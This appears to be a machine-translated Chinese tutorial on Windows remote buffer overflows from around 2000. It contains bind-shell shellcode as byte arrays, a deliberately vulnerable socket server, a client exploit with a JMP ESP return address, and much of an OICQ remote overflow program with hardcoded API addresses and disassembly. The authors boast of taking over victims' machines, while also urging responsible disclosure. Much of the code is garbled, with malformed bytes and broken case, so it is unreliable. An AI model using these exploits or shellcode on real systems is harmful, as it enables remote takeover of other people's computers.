* / 0x83, 0xc6, 0x05, / * add esi, 00000005 * / 0x33, 0xc0, / * xor eax, eax * / 0x50, / * push eax * / 0x40, / * inc eax * / 0x50, / * push eax * / 0x40, / * Inc EAX * / 0x50, / * push eax * / 0xff, 0x57, 0xe8, / * call [EDI-18] * / 0x93, / * xchg Eax, EBX * / 0x6A, 0x10, / * Push 00000010 * / 0x56, / * push eSi * / 0x53, / * push ebx * / 0xff, 0x57, 0xec, / * call [EDI-14] * / 0x6a, 0x02, / * push 00000002 * / 0x53, / * Push EBX * / 0xFF, 0x57, 0xF0, / * Call [EDI-10] * / 0x3333, 0xc0, / * xor Eax, EAX * / 0x57, / * Push EDI * / 0x50, / * push eax * / 0xb0, 0x0c, / ​​* MOV Al, 0C * / 0xAb, / * stosd * / 0x58, / * pop eax * / 0xAb, / * stosd * / 0x40, / * Inc EAX * / 0XAB, / * stosd * / 0x5f, / * POP EDI * / 0X48, / * DEC EAX * / 0X50, / * PUSH ED * / 0X57, / * PUSH EDI * / 0X56, / * PUSH ESI * / 0XAD, / * LODSD * / 0X56, / * PUSH ESI * / 0xff, 0x57, 0xc0, / * call [EDI-40] * / 0x48, / * Dec EAX * / 0x50, / * push eax * / 0x57, / * push edi * / 0xAD, / * LODSD * / 0X56 , / * push eSI * / 0xAD, / * Lodsd * / 0x56, / * push ESI * / 0xFF, 0X57, 0XC0, / * CALL [EDI-40] * / 0 X48, / * DEC EAX * / 0XB0, 0X44, / * MOV Al, 44 * / 0x89, 0x07, / * MOV DWORD PTR [EDI], EAX * / 0x57, / * Push EDI * / 0xFF, 0x57, 0xc4, / * Call [EDI-3C] * / 0x33, 0xc0, / * xor EAX, EAX * / 0x8B, 0x46, 0xF4, / * MOV EAX, DWORD PTR [ESI-0C] * / 0x89, 0x47, 0x3c, / * MOV DWORD PTR [EDI 3C], EAX * / 0x89, 0x47, 0x40, / * MOV DWORD PTR [EDI 40], EAX * / 0x8B, 0x06, / * MOV Eax, DWORD PTR [ESI] * / 0x89, 0x47, 0x38, / * MOV DWORD PTR [EDI 38], EAX * / 0X33, 0XC0, / * XOR EAX, EAX * / 0X66, 0XB8, 0x01, 0101 * / 0x89, 0x47, 0x2c, / * MOV DWORD PTR [EDI

2c], EAX * / 0x57, / * push edi * / 0x57, / * push edi * / 0x333, 0xc0, / * xor eax, eax * / 0x50, / * push eax * / 0x50, / * push eax * / 0x50, / * push eax * / 0x40, / * inc eax * / 0x50, / * push eax * / 0x48, / * dec EAX * / 0x50, / * push eax * / 0x50, / * push eax * / 0xAD, / * LODSD * / 0X56, / * PUSH ESI * / 0X3333, 0XC0, / * XOR EAX, EAX * / 0X50, / * PUSH EAX * / 0xFF, 0x57, 0XC8, / * CALL [EDI-38] * / 0xFF , 0x76, 0xf0, / * push [ESI-10] * / 0xFF, 0x57, 0XCC, / * Call [EDI-34] * / 0xFF, 0x76, 0xFC, / * Push [ESI-04] * / 0xff, 0x57 , 0xcc, / * call [EDI-34] * / 0x48, / * Dec Eax * / 0x50, / * push eax * / 0x50, / * push eax * / 0x53, / * push ebx * / 0xff, 0x57, 0xf4 , / * Call [EDI-0C] * / 0x8b, 0xD8, / * MOV EBX, EAX * / 0X333, 0XC0, / * XOR EAX, EAX * / 0XB4, 0X04, / * MOV AH, 04 * / 0X50, / * push eax * / 0xc1, 0xe8, 0x04, / * shr eax, 04 * / 0x50, / * push eax * / 0xff, 0x57, 0xD4, / * call [EDI-2C] * / 0x8b, 0xf0, / * mov ESI, EAX * / / / * PeekPipe:

* / 0x33, 0xc0, / * xor eax, eax * / 0x8b, 0xc8, / * MOV ECX, EAX * / 0XB5, 0X04, / * MOV CH, 04 * / 0X50, / * Push Eax * / 0x50, / * Push eax * / 0x57, / * push edi * / 0x51, / * push ecx * / 0x56, / * push eSi * / 0xff, 0x77, 0xa8, / * push [EDI-58] * / 0xFF, 0x57, 0xD0, / * CALL [EDI-30] * / 0x83, 0x3f, 0x01, / * cmp dword PTR [EDI], 0000000 * / 0x7c, 0x22, / * jl getUserInput * / 0x33, 0xc0, / * xor Eax, EAX * / 0x50, / * push eax * / 0x57, / * push edi * / 0xff, 0x37, / * push dword PTR [EDI] * / 0x56, / * push eSi * / 0xff, 0x77, 0xA8, / * Push [EDI- 58] * / 0xFF, 0x57, 0xDC, / * Call [EDI-24] * / 0x0b, 0xc0, / * or Eax, EAX * / 0X74, 0x2F, / * JE GameOver * / 0x3333, 0xc0, / * xor EAX , eax * / 0x50, / * push eax * / 0xff, 0x37, / * push dword ptr [EDI] * / 0x56, / * push eSi * / 0x53, / * push EBX * / 0xFF, 0x57, 0xF8, / * Call [EDI-08] * / 0x6a, 0x50, / * push 00000050 * / 0xFF, 0x57, 0xE0, / * CALL [EDI-20] * / 0xeb, 0xc8, / * jmp peekpipe * / / * getUserInput: * / 0x33, 0xc0, / * xor eax, eax * / 0x50, / * push eax * / 0xb4, 0x04, / * MOV AH, 04 * / 0x56, / * push eSi * / 0x53, / * push ebx * / 0xff, 0x57, 0xfc, / * call [EDI-04] * / 0x57, / * push edi * / 0x333, 0xc9, / * xor ECX , ECX * / 0x51, / * push ecx * / 0x50, / * push eax * / 0x56, / * push eSi * / 0xff, 0x77, 0xac, / * push [EDI-54] * / 0xFF, 0x57, 0xD8, / * Call [EDI-28] * / 0x6a, 0x50, / * push 00000050 * / 0xFF, 0x57, 0xE0, / * CALL [EDI-20] * / / * GameOver: * / 0xeb, 0xAA, / * JMP Peekpipe * / 0x50, / * push eax * / 0xff, 0x57, 0xe4, / * call [EDI-1C] * / 0x90, / * NOP * / / * Here the long code here is the algorithm of the C language, my Note in detail,

Not much to say * / 0xD2, 0xDC, 0xCB, 0xAA, 0xAb, 0x99, 0xaa, 0xAb, 0x99, 0xf8, 0xeb, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xFC , 0xed, 0xca, 0xed, 0xec, 0xe9, 0xD0, 0xF7, 0xFF, 0xF6, 0xD8, 0x99, 0xDa, 0xeb, 0xfc, 0xF8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xFC 0xEA, 0xEA, 0XD8, 0x99, 0xEA, 0xFC, 0XD1, 0xF8, 0xF7, 0xFD, 0xF5, 0xFC, 0x99, 0xc9, 0xFC, 0xFC, 0xF2, 0xD7, 0xF8, 0xF4, 0xFC, 0xFD , 0xc9, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0x0, 0xf5, 0xf5, 0xF6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xDF, 0xF0, 0xF5 , 0xfc, 0x99, 0xfd, 0xf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xDC, 0xe1, 0xF0, 0xed, 0xc9, 0xeb, 0xF6, 0xFA , 0x99, 0xCE, 0xCA, 0xAA, 0xAb, 0x99, 0xAA, 0xAb, 0x99, 0xAe, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5 0xF0, 0xea, 0x99, 0xf, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0 Xeb, 0x99, 0x9b, 0x99, 0x4b, 0x9d, // Word Value for Bind Port, 4B9D XOR 9999H = 53764 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 , 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xfc, 0x99, 0xf, 0xFF, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0x0D, 0x0A}; / * These are the string table, has been encoded.

* / Two actual articles Author: ipxodi The following is a question of internet service program: / ************************ *********************************************************** ** / / * server.cpp by ipxodi * / #include #include char buff [1024]; void overflow (char * s, int size) {char s1 [50]; printf ("Receive% D Bytes", SIZE); S [SIZE] = 0; STRCPY (S1, S);} int main () {Wsadata WSA; Socket Listenfd; int R; char ASD [2048]; WSAStartup (MakeWord 2,2), & wsa); listenFD = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons (3764); server.sin_addr.s_addr = ADDR_ANY; ret = bind ( listenFD, (sockaddr *) & server, sizeof (server)); ret = listen (listenFD, 2); int iAddrSize = sizeof (server); SOCKET clientFD = accept (listenFD, (sockaddr *) & server, & iAddrSize); unsigned long lBytesRead While (1) {lbytesread = Recv (ClientFD, BUFF, 1024, 0); if (LbytesRead <= 0) Break; Overflow (BUFF, LBYTESREAD); RET = Send (ClientFD, Buff, LbytesRead, 0); IF RET <= 0) Break;} wsacleanup (); return 0;} / ******** *********************************************************** ****************** / function overflow has problems, have you seen it? Ok, now let's write an overflow attack program: 1) Calculate the overflow (return) address? (: Ah? Courses? You didn't use the program? I am so hard to understand your algorithm. How is this?: Hey, the old brother, the last time is the original code without the enemy, lazy to see the compilation, only Try it, now the original code is in front of you, do you count??) The following is the overflow time stack layout: the bottom of the memory buffer EBP RET <------ [nnnnnnnnnnn] [n] [N] [ A] SSSS ^ & Buffer The bottom of the stack can be seen at the bottom of the stack. Buffer we open the 50, 32-bit system for four-bit alignment for arrays, so the actual buffer is 52, plus EBP accounts for 4 bytes, which is 52 4 = 56, then RET is the 56th byte.

2) What is the address of loadLibrary and getProcadDress in Server? Start wdasm32, load server.exe: 004028EC 68F0014200 push 004201F0 * Reference To: KERNEL32.LoadLibraryA, Ord: 01C2h |: 004028F1 FF15E8614200 Call dword ptr [004261E8] good, KERNEL32.LoadLibraryA (LoadLibrary is an alias) entry address: 0x004261E8. 0042915: Both addresses, we can't be referenced directly in Shellcode, so use the following modification: 0xBb, 0x99, 0xE8, 0x61, 0x42, / * MOV EBX, 004261E8H; (& loadLibrary) * / 0xc1, 0xeb, 0x08, / * SHR EBX, 08 * / and 0XB3, 0XE4, / * MOV BL, E4 & GETPROCADDR * / 3) Write Client: / ********************** *********************************************************** ***** / / * Client.cpp by ipxodi * / #include #include #define win2000 #ifdef Win2000 #define jumpesp "x2axe3xe2x77" #ENDIF #ifDef Win98 #define jumpesp " XA3X95XF7XBF "#ENDIF UNSIGNED Char EIP [8] = jumpesp; unsigned char sploit [580] =

{0x90, 0x8b, 0x50, 0x33, 0xc0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0x48, 0x8, 0x30, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6 , 0x96, 0xBb, 0x999, 0xe8, 0x61, 0x42, 0x56, 0xff, 0x13, 0x8b, 0x0, 0xfc, 0x33, 0xc9, 0x13, 0x0b, 0x49, 0x32, 0xc0, 0xAc, 0x84, 0xc0 0x75, 0x56, 0x52, 0x13, 0xAb, 0x59, 0x5a, 0xA2, 0x59, 0x32, 0xc0, 0x75, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56 , 0xFF, 0x13, 0x8b, 0xD0, 0xfc, 0x33, 0x32, 0xc0, 0x75, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0x13, 0xe4, 0xFF, 0x13, 0xAb 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xff, 0x57, 0x10, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff, 0x57, 0xec , 0x6a, 0x57, 0x53, 0x33, 0xc0, 0x57, 0x50, 0x, 0x57, 0x, 0x, 0x, 0x5f, 0x48, 0x50, 0x57, 0x56, 0xAD, 0x56, 0xFF , 0x57, 0xc0, 0x48, 0x50, 0x57, 0xAD, 0x56, 0xAD, 0x56, 0xf, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x 07, 0x57, 0xff, 0x57, 0xc4, 0x33, 0xc0, 0x8b, 0x46, 0x1, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b, 0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0x, 0x01, 0x01, 0x89, 0x47, 0x2c, 0x57, 0x57, 0x333, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0xAd, 0x56, 0x33, 0xc0, 0x50, 0xf, 0x57, 0xc8, 0xff, 0x76, 0xf0, 0xff, 0x57, 0xcc, 0xf, 0x76, 0xcc, 0xf, 0x57, 0xcc, 0x48, 0x50, 0x50, 0x53, 0xff, 0x57, 0x1, 0x8b, 0x5, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1, 0xe8, 0x04, 0x50, 0x, 0x57, 0x33, 0xc0, 0x8b, 0x, 0x, 0x, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xFF, 0x77, 0xA8, 0xFF, 0x57, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xf, 0x37, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0x74, 0x0b, 0xc0, 0x74, 0x2f, 0x33,

0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0x6a, 0x57, 0xf8, 0x6a, 0x50, 0xf, 0x57, 0x33, 0xc0, 0x50, 0x33, 0xc0, 0x50, 0x56, 0x04, 0x50, 0x56, 0x53, 0xFF, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xAc, 0x6a, 0x50, 0xf, 0x57, 0x50, 0xeb, 0xaa, 0x50, 0xff, 0x57, 0xE4, 0x90, 0xD2, 0xDC, 0xCB, 0xAA, 0XAB, 0x99, 0xAA, 0xAb, 0x99, 0xDa, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xe9, 0xed, 0xf7, 0xff, 0xf6, 0xeb, 0x99, 0xf6, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xD8, 0x99, 0xDa, 0xf5, 0xf6, 0xea, 0xfc, 0xfd, 0xf5, 0xf7, 0x99, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xf, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xE9, 0xFC, 0x99, 0xDE, 0xF5, 0xF5, 0xFB, 0xF8, 0xF5, 0xF6, 0xF5, 0x99, 0xCE, 0xFA, 0x99, 0xCE, 0XEB, 0XF0, 0XED, 0xFC, 0xDF, 0xF0, 0xF5, 0xFC, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xDF, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1 , 0xf0, 0xed, 0xc9, 0xeb, 0xea, 0xea, 0x99, 0xce, 0xca, 0x, 0xAb, 0x99, 0xaa, 0xAb, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99 , 0xfb, 0x99, 0xf5, 0xf0, 0xea, 0x99, 0xf, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb 0xfc, 0xfa, 0x9999, 0x4b, 0x9d, // port = 53764 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xFD, 0xB7, 0xFC, 0xE1, 0xFC, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0x0D, 0x0A}; int main () {Wsadata WSA; Socket Sockfd; Char Buff [1024], * SBO; WSAStartup (MakeWord , 2), & WSA); SOCKFD = Socket (AF_INET, SOCK_STREAM,

IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons (3764); server.sin_addr.s_addr = inet_addr ( "127.0.0.1"); connect (sockFD, (struct sockaddr *) & server, sizeof ( Server); for (int i = 0; i <56; buff [i ) = 0x90); strcpy (buff 56, (char *) EIP); strcpy (buff 60, (char *) sploit; SBO = BUFF; Send (SOCKFD, SBO, 56 4 560, 0); CloseSocket (SOCKFD); wsacleanup (); return 1;} / ***************** *********************************************************** ******** / Run Server, then run the client. After Telnet Localhost 53764, what did you see? Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1998 Microsoft Corp. D: MyProjectsServer> Dir Dir Drive D has no label. The serial number of the volume is 3C2F-72BB D: MyProjectsServer's catalog 2000-04-26 17:52

. 2000-04-26 17:52 .. 2000-04-25 11:17 debug 2000-04-23 20:23 3,288 Server.001 2000-04-25 11:16 926 Server.cpp 2000-04-25 10:33 3,325 Server.dsp 2000-04-25 10:33 535 Server.dsw 2000- 04-26 17:52 41,984 Server.ncb 2000-04-26 17:52 49,664 Server.opt 2000-04-25 11:24 509 Server.plg 7 files 100,231 bytes 3 directory 8,688,173,

056 Available bytes D: MyProjectsServer> Oh, it is very good. ---- After the report, you can know that this is a universal remote overflow shellcode under Windows. With this shellcode, a little change, we can write other remote overflow programs. Remote control of programs for any known presence buffer overflow problem. In fact, in order to find overflow vulnerabilities, you must go deep into the enemy's program code and find his problem code. This can be set out in detail here. Crackers under Windows, your crack tracking technology will be maximized in this area. I estimate that in the near future, there will be a lot of Cracker, which announces a series of Windows buffer overflow vulnerabilities. The above, just an experimental Server program, in fact, we have completed the implementation of the OICQ remote overflow program and the port of the IISHACK Chinese NT version. When I telnet Victim 53764, the enemy's machine was deleted, and it was true that everything was in the master. I think in my heart, that is: Windows NT / 2000 remote overflow era, start! We don't need Trojans again! Because the above procedures are too strong, I will not announce the original code. I hope that if someone wrote the remote overflower based on my shellcode, please inform the software supplier, wait for Patch, then publish your overflow program. . Because, the purpose of discovering vulnerabilities is not destroyed, but in order to eliminate vulnerabilities, improve safety. ---- Reference Bibliography: 0) IPXODI "Stack overflow under the Window system" isbasemagzine 2000.3. 1) The classic article on the Phrack Magzine55 of Dark Spyrit Aka Barnaby Jack. 2) Backend's "Windows 2000 buffer overflow gate" isbasemagzine 2000.4. 3) "Windows Network Programming Technology" ANTHORY JONES, JIM OHORY JONES, JIM OHLUND. (Mechanical Edition Jingjing Translation) - A lot of people who want to thank: Dark Spyrit, pay tribute to you for your genius and selflessness. Thanks to the Great Backend, Yuange, Zer9, for your research results and give me selfless help, of course, TT, Deepin,

Give me help for you in the attack. Thanks to all people who help and inspire me. C: Overflow program under the windows of writing skills: Yuan Brother mail: yuange@163.net overflow program looked at some WINDOWS, do not feel unified, perfect, decided to make a relatively uniform method of writing, try to solve some problem. 1, JMP ESP problem. In order to unify, KernerL32 is used. DLL code because at least the same system Kernel32. DLL module loading address variations may be small, and other modules may differ with different loading addresses of installation applications, and their module installation is kernel32. The DLL is compared to the front, and the module installation addresses are changed with the changes in the front module, so they decide to use Kernel32. DLL is relatively unified (that is, different versions of the same system). Solve the JMP ESP (FF E4) code can't find a problem, add PUSH ESP (54). . . . RET (C3) or PUSH ESP (54). . . . RET 00XX (C2 XX 00) (RET NUM, NUM is not too big, so doing limit Num = 00xx) code, this can be found. "..." is a few non-statements, but it does not affect the function. For example, if you find a code, you can use: Push ESP and Al, 08 RET 10 Select Principle to use the available modules as used as possible because the same may be large in front of the different versions. Because the 9X with the NT system module load address is very different, it is impossible to unify this method, I saw Winnt, Win2000 actually kernel32. The loading address of the DLL is different, it is a bit. . . . Specificity which procedure can try to find JMP ESP in that program, but this address is usually 0x00xxxxxx, so there is a problem. Can this identify the system to attack the system in the program? The following program is defined by macro. 2. Solve the writing of shellcode. It turned out that shellcode of many programs was written in first, and the "Xaaxb" was written in the form of "Xaaxbb", one is a bad modification, and it is not good to see what shellcode is. So the idea is written together with the shellcode and overflow. This is a bit a little requirement for Shellcode, which is requested that the shellcode code is a movable code, which is the entire code address moves as usual. To reduce incompatibility, the function calls the address is also used with loadLibrary and getProcaddress, so shellcode relies on both parameters. In fact, these two parameters can also find kernel32 in memory. DLL module, then generate the table you get the address according to the function. That ways only the JMP ESP address is not unified under WinNT, Win200, Win9x. The prototype written in the program has been roughly written. There are a few questions: 1. Determine the shellcode function code address, specify directly to the address of a JMP shellcode, should have a method directly. Second, shellcode is written with C to write compiles with _chkesp, which can be used to write to write or find the code of the Call _chkesp inside with NOP. 3, shellcode characters often have requirements, decide to encode the shellcode, add a small piece of code to shellcode, encoding SHELLCODE that meets the requirements, alleviate the requirements for Shellcode. Different requirements mainly rewrite this small encoding code. / * OICQ 199B

Build 0220 Overflow Program Copy by Yuan 2000.04.18 The new version 0410 has a stack overflow, with this program to attack, but you can't execute Sellcode * / #include #include #include #define NUKEWIN2000 // # define NUKEWIN9X #ifdef NUKEWIN2000 #define RETEIPADDR eipwin2000 #define LoadLibraryfnaddress 0x77e78023 // 0x77E60000 0x00018023 LoadLibrary #define GetProcAddressfnaddress 0x77e7564b // 0X77E60000 0x0001564B GetProcAddress #else #ifdef NUKEWIN9X # define RETEIPADDR eipwin9x #define LoadLibraryfnaddress 0xbff77750 // 0xbff70000 0x00007750 LoadLibrary #define GetProcAddressfnaddress 0xbff76e28 // 0xbff70000 0x00006e28 GetProcAddress #else #define RETEIPADDR eipwinnt #define LoadLibraryfnaddress 0x77EE391A // 0x77ED0000 0x0001391A LoadLibrary #define GetProcAddressfnaddress 0x77eE4111 // 0x77ED0000 0x00014111 GetProcAddress # Endif #ndif #define nopcode 0x90 #define buffsize 0x2000 #define oicqport 4000 #define OICQOVERADD 7 0x41c #define OveradD OICQOVERADD #define str0 0 #define str1 11 #define str2 2 3 #define STR3 33 #define STR4 39 #define STR5 51 void shellcodefnlock (); void shellcodefn (); void cleanchkesp (char * fnadd, char * shellbuff, char * chkespadd, int len); int main (int argc, char * * argv) {char * server; char * str = "user32.dll" "x0" "messageboxa" "X0" "X0" "OK!" "X0" "MSVCRTD.DLL" "X0" "EXIT" "x0"; char buff1 [] = "X02x01x07x00x78x11x22x33x33x33x33x33x1fx30x1fx37x33x1f" 2000-4-10 "" x1f "12:00:00" "x1f"; / * OICQ udp head * / // 0x77ed0000 0x1ddd4 kernel32.dll // Push ESP // and Al, 08 // RET 0C Char Eipwinnt [] = "xd4xd

DXEEX77 "; // 0x77ed0000 0x0001ddd4 char Eipwin2000 [] =" xeax17xe8x77 "; // 0x77e60000 0x000217ea // kernel32.dll // push ESP // and al, 08 // RET 0C // 0x77e2e32a user32.dll JMP ESP Char eip2win2000 [] = "x2axe3xe2x77"; // 0x77df0000 0x0003e32a char eipwin9x [] ​​= "xd9x6axf7xbf"; // 0xbff70000 0x00006ad9 // Kernel32.dll 4.10.2184 0xbff70000 0x0006ad9 // push esp // and al, 0x10; / / ret 0x10; char buff [BUFFSIZE]; char shellcodebuff [0x1000]; struct sockaddr_in s_in2, s_in3; struct hostent * he; char * shellcodefnadd, * chkespadd; unsigned int sendpacketlong; unsigned int i, j, k; unsigned char temp; Int fd; u_short port, port1; socket d_ip; wsadata wsadata; int result = WsaStartup (MakeWord (1, 1), & WSADATA); if (Result! = 0) {FPRINTF (stderr, "Your Computer Was Not Connected" To The Internet at the time That "" This Program Was Launched, or You "" Do Not Have A 32-bit "" Connection to the Internet. "); EXIT (1);} if (argc <2) {wsacleanup () FPRINTF (stderr, "n nuke oicq .n copy by yuan 2000.4.1. n Wellcome To my homepage http://yuange.yeah.net. "); fprintf (stderr," n usage:% s [port] n ", argv [0]); exit (1);} else server = Argv [1]; D_IP = inet_addr (server); if (D_IP == - 1) {he = gethostbyname (server); if (! HE) {wsacleanup (); Printf ("n can't get the ip OF% s! n ", server); exit (1);} else memcpy (& D_IP, he-> h_addr, 4);} if (argc> 2) port = ATOI (Argv [2]); Else Port = OICQPort; if (port == 0) Port = OICQPort; fd = socket (AF_INET, SOCK_DGRAM, 0); i = 8000; Setsockopt (FD, SOL_Socket, SO_RCVTIMEO, (const char *) & I, sizeof (i)); s_in2.sin_family = AF

_Net; if (Argc> 3) Port1 = ATOI (Argv [3]); Else Port1 = OICQPort; if (port1 == 0) Port1 = OICQPort; s_in2.sin_port = htons (port1); s_in2.sin_addr.s_addr = 0 ; s_in3.sin_family = AF_INET; s_in3.sin_port = htons (port); s_in3.sin_addr.s_addr = d_ip; bind (fd, (const struct sockaddr FAR *) & s_in2, sizeof (struct sockaddr_in)); printf ( "n nuke ip :% s port% d ", INET_NTOA (S_IN3.SIN_ADDR), HTONS (S_IN3.SIN_PORT)); MEMSET (BUFF, NOPCODE, BUFFSIZE); Memcpy (buff, buff1, 37); _ASM {Mov ESI, ESP ESI, ESP} _chkesp (); chuestspadd = _chkesp; temp = * chkespadd; if (temp == 0xe9) { chuestspadd; // (int *) i = (int *) * chkespadd; _ASM {MOV EDI, DWORD PTR [ chkespadd] mov EDI, [EDI] mov i, EDI} chkespadd = i; chkespadd = 4;} shellcodefnadd = shellcodefnlock; temp = * shellcodefnadd; if (temp == 0xe9) { shellcodefnadd; // (int *) k = (int *) * shellcodefnadd; _ASM {MOV EDI, DWORD PTR [shellcodefnadd] MOV EDI, [EDI] MOV K, EDI} shellcodefnadd = k; shellcodefnadd = 4;} for (k = 0; k <= 0x500; K) {IF (Memcmp (Shellcodefnadd K, "X90x90x90x90", 4) == 0) Break;} Memcpy (bu " ff OVERADD 0x20, shellcodefnadd k 4,80); shellcodefnadd = shellcodefn; temp = * shellcodefnadd; if (temp == 0xe9) { shellcodefnadd; // (int *) k = * shellcodefnadd; _asm {mov EDI, DWORD PTR [shellcodefnadd] MOV EDI, [EDI] MOV K, EDI} shellcodefnadd = k; shellcodefnadd = 4;} for (k = 0; k <= 0x1000; k) {IF (Memcmp (shellcodefnadd k , "x90x90x90x90", 4) == 0) Break;} memcpy (shellcodebuff, shellcodefnadd, k); // j); Cleanchkesp (Shellcodefnadd, ShellcodeBuff, Chkespadd, K); Memcpy (ShellcodeBuff

K, STR, 0x80); sendPacketlong = k 0x80; for (k = 0; k <= 0x200; k) {IF (Memcmp (buff Overadd 0x20 K, "x90x90x90x90", 4) == 0 Break;} for (i = 0; i

STR4); procexit = procgetadd (libhandle, stradd STR5); procexit (0); _asm {die: jmp die nextcall: call getstradd nop nop nop nop}} void cleanchkesp (char * fnadd, char * shellbuff, char * chkesp , int LEN) {INT I, K; Unsigned char Temp; char * calladd; for (i = 0; i

: 00425DA4 50 push eax: 00425DA5 E8CFF10400 call 00474F79: 00425DAA 8365FC00 and dword ptr [ebp-04], 00000000: 00425DAE 8BBDE6FBFFFF mov edi, dword ptr [ebp FFFFFBE6]: 00425DB4 56 push esi: 00425DB5 8D4D08 lea ecx, dword ptr [ ebp 08]: 00425DB8 E8BCF10400 call 00474F79: 00425DBD 0FB785E4FBFFFF movzx eax, word ptr [ebp FFFFFBE4]: 00425DC4 8B7620 mov esi, dword ptr [esi 20]: 00425DC7 83E878 sub eax, 00000078: 00425DCA C645FC01 mov [ebp-04 ], 01: 00425DCE 7434 je 00425E04: 00425DD0 48 dec eax: 00425DD1 7560 jne 00425E33: 00425DD3 51 push ecx: 00425DD4 8D45F0 lea eax, dword ptr [ebp-10]: 00425DD7 8BCC mov ecx, esp: 00425DD9 8965EC mov dword ptr [ ebp-14], esp: 00425DDC 50 push eax: 00425DDD E89EEE0400 call 00474C80: 00425DE2 57 push edi: 00425DE3 56 push esi: 00425DE4 51 push ecx: 00425DE5 8D4508 lea eax, dword ptr [ebp 08]: 00425DE8 8BCC mov ecx, ESP: 00425DEA 8965E8 MOV DWORD PTR [EBP-18], ESP: 00425DED 50 Push Eax: 00425dee C645FC03 MOV [EBP-04], 03: 00425DF2 E889EE0400 CALL 00474C80: 00425 DF7 8BCB mov ecx, ebx: 00425DF9 C645FC01 mov [ebp-04], 01: 00425DFD E8D4030000 call 004261D6: 00425E02 EB2F jmp 00425E33 * Referenced by a (U) nconditional or (C) onditional Jump at Address: |: 00425DCE (C) |: 00425E04 51 push ecx: 00425E05 8D45F0 lea eax, dword ptr [ebp-10]: 00425E08 8BCC mov ecx, esp: 00425E0A 8965E8 mov dword ptr [ebp-18], esp: 00425E0D 50 push eax: 00425E0E E86DEE0400 call 00474C80: 00425E13 57 push edi: 00425E14 56 push esi: 00425E15 51 push ecx: 00425E16 8D4508 lea eax, dword ptr [ebp 08]: 00425E19 8BCC mov ecx, esp: 00425E1B 8965EC mov dword ptr [ebp-14], esp: 00425E1E 50 Push Eax: 00425E1F C645FC02 MOV [EBP-04], 02: 00425E23 E858EE0400 CALL 00474C80: 00425E28 8BCB MOV ECX, EBX: 00425E2A C645FC01

MOV [EBP-04], 01: 00425E2E E860040000 Call 00426293 * Reference by A (u) Nconditional OR (C) ONDITIONAL JUMP AT Addresses: |: 00425DD1 (C),: 00425E33 8065FC00 AND BYTE PTR [ ebp-04], 00: 00425E37 8D4D08 lea ecx, dword ptr [ebp 08]: 00425E3A E8CCF00400 call 00474F0B: 00425E3F 834DFCFF or dword ptr [ebp-04], FFFFFFFF: 00425E43 8D4DF0 lea ecx, dword ptr [ebp-10] : 00425E46 E8C0F00400 call 00474F0B * Referenced by a (U) nconditional or (C) onditional Jump at Address: |: 00425D95 (C) |: 00425E4B 8B4DF4 mov ecx, dword ptr [ebp-0C]: 00425E4E 5F pop edi: 00425E4F 5E POP ESI: 00425E50 64890D00000000 MOV DWORD PTR FS: [00000000], ECX: 00425E57 5B POP EBX: 00425E58 C9 LEAVE: 00425E58 C9 Leave: 00425E59 C20400 RET 0004 * / / * OICQ message UDP data structure, see Zer9 "OICQ security issues" Struct Toicqptop {char tag1; // 0x02 // is obviously OICQ protocol number OR version, fixed char tag2; // 0x01 // obviously OICQ protocol number OR version, fixed char Tag3; // 0x07 char Tag4; // 0x00 